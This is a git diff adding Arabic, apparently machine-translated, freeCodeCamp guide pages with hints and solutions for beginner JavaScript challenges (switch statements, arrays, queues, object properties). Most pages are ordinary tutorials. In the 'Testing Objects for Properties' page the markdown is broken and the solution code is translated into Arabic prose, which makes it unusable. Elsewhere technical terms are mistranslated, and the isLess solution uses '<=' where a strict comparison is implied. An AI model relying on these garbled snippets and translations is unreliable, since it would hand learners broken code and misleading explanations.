+للوصول إلى قيمة مفتاح في هذا الكائن ، ستستخدم `collection[id][prop]` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function updateRecords(id, prop, value) { 
+  if (prop === "tracks" && value !== "") { 
+   if(collection[id][prop]) { 
+    collection[id][prop].push(value); 
+   } 
+   else { 
+    collection[id][prop]=[value]; 
+   } 
+  } else if (value !== "") { 
+    collection[id][prop] = value; 
+  } else { 
+    delete collection[id][prop]; 
+  } 
+ 
+  return collection; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/C2AZ/0)
+
+### شرح الشفرة:
+
+*   يتحقق أولاً إذا كان **prop** يساوي **المسارات** وإذا لم تكن **القيمة** سلسلة فارغة. في حالة مرور كلا الاختبارين ، يتم دفع **القيمة** إلى صفيف **المسارات** .
+*   إذا لم يتم التحقق من هذا الفحص الأول ، فإنه يتحقق فقط إذا لم تكن **القيمة** سلسلة فارغة. في حالة اجتياز هذا الاختبار ، تتم إضافة مفتاح جديد ( **دعم** ) وقيمة ( **قيمة** ) إلى الكائن ، أو يتم تحديث مفتاح موجود إذا كان **prop** موجودًا بالفعل.
+*   إذا فشلت كلتا الشيكات (بمعنى أن **القيمة** يجب أن تكون سلسلة فارغة) ، عندئذٍ تتم إزالة المفتاح ( **prop** ) من الكائن.
+
+**مثال تشغيل**
+
+*   `updateRecords(5439, "artist", "ABBA");` أشواط.
+*   **prop** يساوي "الفنان" ، وليس "المسارات" ، لذلك الجزء الأول من `else if` فشل البيان.
+*   **القيمة** ليست سلسلة فارغة ، لذلك الجزء الثاني من آخر إذا تم تمرير العبارة.
+*   `artist: "ABBA"` تتم إضافة `artist: "ABBA"` إلى `id` `5439` .
+
+### مصادر:
+
+*   [تحدي fcc: الوصول إلى خصائص الكائنات مع تدرج قوس](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-object-properties-with-bracket-notation/)
+*   [تحدي fcc: إضافة خصائص جديدة إلى كائن JavaScript](http://www.freecodecamp.com/challenges/add-new-properties-to-a-javascript-object)
+*   [تحدي fCC: حذف الخصائص من كائن JavaScript](http://www.freecodecamp.com/challenges/delete-properties-from-a-javascript-object)
+*   [تحدي fCC: الوصول إلى الكائنات المتداخلة](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-objects/)
+*   ["Array.prototype.push ()" - _مرجع JavaScript الخاص بـ MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push)
+*   ["delete operator" - _MDN JavaScript reference_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md
new file mode 100644
index 0000000000..4dc3c2c858
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md
@@ -0,0 +1,9 @@
+---
+title: Replacing If Else Chains with Switch
+localeTitle: استبدال إذا Else سلاسل مع التبديل
+---
+## استبدال إذا Else سلاسل مع التبديل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md
new file mode 100644
index 0000000000..536ebaed8e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-a-value-from-a-function-with-return/index.md
@@ -0,0 +1,12 @@
+---
+title: Return a Value from a Function with Return
+localeTitle: إرجاع قيمة من دالة مع العودة
+---
+## إرجاع قيمة من دالة مع العودة
+
+باستخدام `return` ، يمكنك جعل بيانات الإخراج الوظائف. هنا هو الحل الأساسي رمز:
+
+ `function timesFive(num) { 
+  return num * 5; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md
new file mode 100644
index 0000000000..f71d0d9502
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Return Early Pattern for Functions
+localeTitle: العودة للنموذج المبكر للوظائف
+---
+## العودة للنموذج المبكر للوظائف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/return-early-pattern-for-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md
new file mode 100644
index 0000000000..e149a2fed2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/returning-boolean-values-from-functions/index.md
@@ -0,0 +1,51 @@
+---
+title: Returning Boolean Values from Functions
+localeTitle: إرجاع القيم المنطقية من الدالات
+---
+## إرجاع القيم المنطقية من الدالات
+
+بدلاً من استخدام كتلة if / else لمقارنة المتغير ، يمكننا القيام بذلك مباشرةً داخل بيان الإرجاع مع مشغل المقارنة والشفرة الثانوية.
+
+### شرح المشكلة
+
+_فيكس وظيفة هو `isLess` من إزالة العبارة `if...else` ._
+
+ `// Fix this code 
+  if (a < b) { 
+    return true; 
+  } else { 
+    return false; 
+  } 
+` 
+
+#### تلميح 1
+
+كما هو الحال مع [التمرين السابق ،](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/replacing-if-else-chains-with-switch) أنت على وشك تغيير كيفية إرجاع الدالة للقيمة الصحيحة ، مما يعني أنك لست مضطرًا لإعادة استخدام أو تعديل هذا الرمز ولكن لاستبداله.
+
+> _حاول أن تحل المشكلة الآن_
+
+#### تلميح 2
+
+من أجل العودة `true` أو `false` لا تحتاج بيانين ولا تستخدم `if` منها. [عامل المقارنة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) الصحيح هو كل ما تحتاجه.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز:
+
+ `function isLess(a, b) { 
+  // Fix this code 
+  return a <= b; 
+ } 
+ // Change these values to test 
+ isLess(10, 15); 
+` 
+
+تشغيل الكود في [repl.it.](https://repl.it/@AdrianSkar/Basic-Js-Returning-boolean-from-function)
+
+### مصادر
+
+*   ["عامل تشغيل أقل من أو مساوي (<=)" - _مرجع Javascript الخاص بـ MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_or_equal_operator_(%3C))
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md
new file mode 100644
index 0000000000..a9d418519c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/selecting-from-many-options-with-switch-statements/index.md
@@ -0,0 +1,124 @@
+---
+title: Selecting from Many Options with Switch Statements
+localeTitle: اختيار من العديد من الخيارات مع تبديل البيانات
+---
+## اختيار من العديد من الخيارات مع تبديل البيانات
+
+_إذا كان لديك العديد من الخيارات للاختيار من بينها ، فاستخدم عبارة `switch` . يختبر بيان `switch` قيمة ويمكن أن يحتوي على العديد من عبارات `case` التي تحدد القيم المحتملة المختلفة. يتم تنفيذ البيانات من قيمة `case` الأولى المتطابقة حتى تتم مواجهة `break` ._
+
+_في ما يلي مثال pseudocode:_
+
+ `  switch(num) { 
+    case value1: 
+      statement1; 
+      break; 
+    case value2: 
+      statement2; 
+      break; 
+    ... 
+    case valueN: 
+      statementN; 
+      break; 
+  } 
+` 
+
+### أكثر قليلا من الشرح
+
+يقوم بيان التبديل أولاً بتقييم التعبير الخاص به. ثم يبحث عن جملة `case` الأولى التي يتم تقييم التعبير لها بنفس القيمة الناتجة عن تعبير الإدخال (باستخدام [المقارنة الصارمة](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) ، ( `===` ) وينقل التحكم إلى ذلك البند ، تنفيذ العبارات المرتبطة. (إذا كانت هناك حالات متعددة تتطابق القيمة المقدمة ، يتم تحديد الحالة الأولى المطابقة ، حتى إذا كانت الحالات لا تساوي بعضها البعض.)
+
+إذا لم يتم العثور على فقرة `case` مطابقة ، يبحث البرنامج عن جملة `default` اختيارية ، وإذا تم العثور عليه ، ينقل التحكّم إلى هذا البند ، وينفذ البيانات المرتبطة. إذا لم يتم العثور على جملة `default` ، يتابع البرنامج التنفيذ في البيان التالي لنهاية `switch` . حسب الاصطلاح ، فإن الجملة `default` هي الجملة الأخيرة ، ولكنها لا تحتاج إلى أن تكون كذلك.
+
+يضمن بيان `break` الاختياري المرتبط بكل ملصق حالة أن البرنامج يخرج من المفتاح بمجرد تنفيذ البيان المطابق ومواصلة التنفيذ في البيان التالي للتبديل. إذا تم حذف `break` ، يستمر البرنامج في التنفيذ في العبارة التالية في عبارة `switch` . [1](#cite1)
+
+### شرح المشكلة:
+
+_اكتب عبارة التبديل التي تختبر `val` `answer` عن الشروط التالية:_
+
+*   `1` - "ألفا" ،
+*   `2` - "beta" ،
+*   `3` - "جاما" ،
+*   `4` - "دلتا".
+
+## تلميح 1
+
+تذكر أن قيم `case` يتم اختبارها بالمساواة الصارمة ( `===` ).
+
+> حاول حل المشكلة الآن!
+
+## تلميح 2
+
+لا تشاهد _"الشروط التالية"_ كقائمة مرتبة كما تبدو في العرض التوضيحي freeCodeCamp الأصلي ، ولكن كقيم وعبارات ، كما هو موضح هنا
+
+> حاول حل المشكلة الآن!
+
+## تنبيه المفسد!
+
+### هل أنت متأكد تماما ما تريد نظرة؟ ...
+
+## حل الرمز الأساسي
+
+ `function caseInSwitch(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val) { 
+    case 1: 
+      return "alpha"; 
+      break; 
+    case 2: 
+      return "beta"; 
+      break; 
+    case 3: 
+      return "gamma"; 
+      break; 
+    case 4: 
+      return "delta"; 
+      break; 
+  } 
+ 
+  // Only change code above this line 
+  return answer; 
+ } 
+ 
+ // Change this value to test 
+ caseInSwitch(1); 
+` 
+
+### شرح الشفرة
+
+من الشائع تجاهل أن قيم `case` يتم اختبارها بالمساواة الصارمة مع أي حاجة للتعبير الآخر ، مثل: `case === value`
+
+## حل رمز بديل:
+
+ `function caseInSwitch(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch (val){ 
+    case 1: 
+      answer="alpha"; 
+      break; 
+    case 2: 
+      answer="beta"; 
+      break; 
+    case 3: 
+      answer="gamma"; 
+      break; 
+    case 4: 
+      answer="delta"; 
+      break; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ caseInSwitch(1); 
+` 
+
+تشغيل الكود في [repl.it.](https://repl.it/@AdrianSkar/Basic-JS-Switch-statements)
+
+### تفسير الشفرة
+
+نظرًا لأن لديك بالفعل متغيرًا محددًا في بداية الدالة المسمى `answer` ، ويتم تعريفه على أنه آخر كشف للإرجاع ، فيمكنك تعيين قيم جديدة له لكل حالة وسيقوم بإرجاع الإجابة المتوقعة استنادًا إلى القيمة التي تمررها إلى الوظيفة.
+
+### مصادر
+
+1 . [وصف "switch" - _مرجع JavaScript الخاص بـ MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch#Description) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md
new file mode 100644
index 0000000000..118394a541
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/shopping-list/index.md
@@ -0,0 +1,65 @@
+---
+title: Shopping List
+localeTitle: قائمة التسوق
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+قم بإنشاء قائمة تسوق في **myList** المتغير. يجب أن تكون القائمة مصفوفة متعددة الأبعاد تحتوي على العديد من المصفوفات الفرعية.
+
+يجب أن يحتوي العنصر الأول في كل مصفوفة فرعية على سلسلة تحمل اسم العنصر. يجب أن يكون العنصر الثاني عبارة عن رقم يمثل الكمية `["Chocolate Bar", 15]` .
+
+يجب أن يكون هناك 5 صفيف فرعي على الأقل في القائمة.
+
+*   يجب أن يكون **myList** صفيف.
+*   يجب أن تكون العناصر الأولى في كل صفائف فرعية سلاسل.
+*   يجب أن تكون العناصر الثانية في كل من المصفوفات الفرعية أرقامًا.
+*   يجب أن يكون لديك 5 عناصر على الأقل في قائمتك.
+
+#### روابط ذات صلة
+
+*   [التحدي: عش أحد المصفوفة داخل صفيف آخر](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+سيكون للمصفوفة متعددة الأبعاد المخطط التالي `[[]]` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+يجب فصل كل مصفوفة فرعية `,` كما هو الحال مع أي عنصر في مصفوفة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+لا ننسى `;` في نهاية الإعلان الخاص بك.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `var myList = [["Canned Beans", 3],["Milk Galon", 1],["Cereal", 2],["Toilet Paper", 12],["Sack of Rice", 1]]; 
+` 
+
+### شرح الشفرة:
+
+*   يتم إنشاء مجموعة متعددة الأبعاد.
+*   يتكون المصفوفة من خمس صفائف بداخله ، يتكون كل منها من سلسلة وعدد صحيح ، بنفس الترتيب.
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md
new file mode 100644
index 0000000000..b9bec7a783
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/stand-in-line/index.md
@@ -0,0 +1,73 @@
+---
+title: Stand in Line
+localeTitle: قف على الصف
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+في علوم الكمبيوتر ، _قائمة الانتظار_ هي **بنية بيانات** مجردة حيث يتم حفظ العناصر بالترتيب. يمكن إضافة عناصر جديدة في الجزء الخلفي من **قائمة الانتظار** ويتم أخذ العناصر القديمة من أمام **قائمة الانتظار** .
+
+اكتب دالة `nextInLine` والتي تأخذ صفيف ( **arr** ) ورقم ( **item** ) كوسيطة. أضف الرقم إلى نهاية الصفيف ، ثم أزل أول عنصر في الصفيف. يجب أن تقوم الدالة `nextInLine` بإرجاع العنصر الذي تمت إزالته.
+
+*   تغيير الرمز أدناه `//Your Code here` `//Change this line` .
+*   تأكد من أنك تقوم بتحرير داخل وظيفة `nextInLine` .
+*   استخدم وظيفة مصفوفة تعلمتها لإضافة **العنصر** إلى نهاية صفيف **arr** .
+*   استخدم وظيفة مصفوفة تعلمتها لإزالة العنصر الأول من صفيف **arr** .
+*   إرجاع العنصر إزالتها.
+
+#### روابط ذات صلة
+
+*   [تحدي: التعامل مع صفائف بدفع ()](http://www.freecodecamp.com/challenges/manipulate-arrays-with-push)
+*   [تحدي: التعامل مع صفائف مع shift ()](http://www.freecodecamp.com/challenges/manipulate-arrays-with-shift)
+*   [التحدي: تمرير القيم إلى دالات مع الوسيطات](http://www.freecodecamp.com/challenges/passing-values-to-functions-with-arguments)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+تضيف طريقة `push()` عنصرًا إلى نهاية صفيف.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+تقوم طريقة `shift()` بإزالة العنصر الأول من المصفوفة. كما تقوم بإرجاع العنصر الذي تمت إزالته.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+وظيفة `nextInLine` يستخدم **آر** **والبند.** هذه هي ما ستستخدمه الاختبارات لتمرير عناصر الصفيف التي سيختبرونها. انها تسمح للوظيفة لتكون قابلة لإعادة الاستخدام. لا تجزئ أي من الاختبارات داخل الوظيفة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function nextInLine(arr, item) { 
+  // Your code here 
+  arr.push(item); 
+  var removed = arr.shift(); 
+  return removed;  // Change this line 
+ } 
+` 
+
+### شرح الشفرة:
+
+*   دفع **البند** في نهاية **arr** .
+*   استدعاء الأسلوب `shift()` على **arr** للحصول على العنصر الأول وتخزينها في **إزالتها** .
+*   العودة **إزالتها** .
+
+**مثال تشغيل**
+
+*   اختبار `nextInLine([2,1]);` أشواط.
+*   يتم `nextInLine` الدالة `nextInLine` . **arr** يصبح \[2\]. يصبح **البند** 1.
+*   `arr.push(item);` يدفع 1 إلى \[2\]. إذن **صار arr** الآن \[2،1\].
+*   `var removed = arr.shift();` يزيل العنصر الأول. إذن **arr** هو الآن \[1\]. تمت إزالة 2 ويتم تخزينها في **إزالتها** .
+*   `return removed;` 2 يتم إرجاعها.
+
+**_ملاحظة_** : أنت لا تحتاج فعليًا إلى **إزالة** المتغير. يمكن إرجاع العنصر الذي تمت إزالته مباشرةً باستخدام `return arr.shift();` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
new file mode 100644
index 0000000000..3c63da2507
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/store-multiple-values-in-one-variable-using-javascript-arrays/index.md
@@ -0,0 +1,16 @@
+---
+title: Store Multiple Values in one Variable using JavaScript Arrays
+localeTitle: تخزين قيم متعددة في متغير واحد باستخدام مصفوفات جافا سكريبت
+---
+## تخزين قيم متعددة في متغير واحد باستخدام مصفوفات جافا سكريبت
+
+تسمح لك المصفوفات بتخزين الكثير من البيانات المختلفة ، ضمن متغير واحد. كل ما عليك القيام به هو وضع البيانات في الصفيف ، مفصولة بفواصل. مثل ذلك…
+
+ `var arr = ["Code for change", 123]; 
+` 
+
+تذكر ، يتم تعريف صفيف كصف من الأشياء. أنت تخزن بيانات مختلفة في "صف" مفرد (متغير).
+
+تحقق من هذا الرابط إذا كنت بحاجة إلى مزيد من المساعدة:
+
+[مصفوفات جافا سكريبت على مدارس W3](https://www.w3schools.com/js/js_arrays.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md
new file mode 100644
index 0000000000..cf7a370224
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/storing-values-with-the-assignment-operator/index.md
@@ -0,0 +1,14 @@
+---
+title: Storing Values with the Assignment Operator
+localeTitle: تخزين القيم مع مشغل الواجب
+---
+## تخزين القيم مع مشغل الواجب
+
+انها مجرد مثل الرياضيات! يمكنك تعيين متغير للعمل كعنصر نائب للبيانات باستخدام عامل التشغيل "=". بمعنى آخر ، سيخزن المتغير البيانات.
+
+ `var a; 
+ a = 5; // The variable 'a' is equal to 5 
+ 
+ var zxcv; 
+ zxcv = 123; // The variable 'abc' is equal to 123 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md
new file mode 100644
index 0000000000..7b16ce1b9d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/subtract-one-number-from-another-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtract One Number from Another with JavaScript
+localeTitle: اطرح رقم واحد من آخر باستخدام JavaScript
+---
+## اطرح رقم واحد من آخر باستخدام JavaScript
+
+باستخدام عامل الطرح "-" ، يمكنك الحصول على الفرق بين رقمين ...
+
+ `var diff1 = 30 - 14; // Difference is 16 
+ var diff2 = 90 - 60; // Difference is 30 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md
new file mode 100644
index 0000000000..f1153ed0a5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/testing-objects-for-properties/index.md
@@ -0,0 +1,61 @@
+---
+title: Testing Objects for Properties
+localeTitle: اختبار كائنات للعقارات
+---
+## اختبار كائنات للعقارات
+
+هنا هو المثال:
+
+ `// Setup 
+ var myObj = { 
+  gift: "pony", 
+  pet: "kitten", 
+  bed: "sleigh" 
+ }; 
+ 
+ function checkObj(checkProp) { 
+  // Your Code Here 
+ 
+  return "Change Me!"; 
+ } 
+ 
+ // Test your code by modifying these values 
+ checkObj("gift"); 
+` 
+
+وإليك الحل:
+
+نحن لا نغير أي شيء هنا:
+
+ `// Setup 
+ var myObj = { 
+  gift: "pony", 
+  pet: "kitten", 
+  bed: "sleigh" 
+ }; 
+` 
+
+كذلك ، في الجسم من الدالة التي نستخدمها. `.hasOwnProperty(propname)` للكائنات لتحديد ما إذا كان هذا الكائن لديه اسم خاصية معينة. `if/else` العبارة `if/else` ذات القيم المنطقية ستساعدنا في هذا:
+
+ ``function checkObj(checkProp) { 
+  // Your Code Here 
+  if (myObj.hasOwnProperty(checkProp) == true) { 
+    return myObj[checkProp]; 
+  } 
+  else { 
+ ``` 
+ 
+ and change the value of `return` in `else` statement: 
+`` 
+
+جافا سكريبت العودة "غير موجود" } }
+
+ ``Now, you can change `checkObj` values: 
+`` 
+
+جافا سكريبت // اختبار التعليمة البرمجية الخاصة بك عن طريق تعديل هذه القيم checkObj ( "هدية")؛
+
+ `Here's a full solution: 
+` 
+
+جافا سكريبت وظيفة checkObj (checkProp) { // رمزك هنا if (myObj.hasOwnProperty (checkProp) == true) { return myObj \[checkProp\] ، } else { العودة "غير موجود" } } // اختبار التعليمة البرمجية الخاصة بك عن طريق تعديل هذه القيم checkObj ( "هدية")؛ \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md
new file mode 100644
index 0000000000..77ec86e45d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand String Immutability
+localeTitle: فهم عدم ثبات السلسلة
+---
+## فهم عدم ثبات السلسلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/understand-string-immutability/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md
new file mode 100644
index 0000000000..ffa711d7ce
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-boolean-values/index.md
@@ -0,0 +1,41 @@
+---
+title: Understanding Boolean values
+localeTitle: فهم القيم المنطقية
+---
+## فهم القيم المنطقية
+
+### شرح المشكلة:
+
+قم بتعديل الوظيفة `welcomeToBooleans` بحيث تقوم بإرجاع `true` بدلاً من `false` عند النقر فوق الزر "تشغيل".
+
+### تلميح 1
+
+تحتاج فقط إلى تحرير السطر 5 بحيث تقوم الدالة بإرجاع `true` بدلاً من `false` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") حل الرمز الأساسي:
+
+ `function welcomeToBooleans() { 
+ 
+ // Only change code below this line. 
+ 
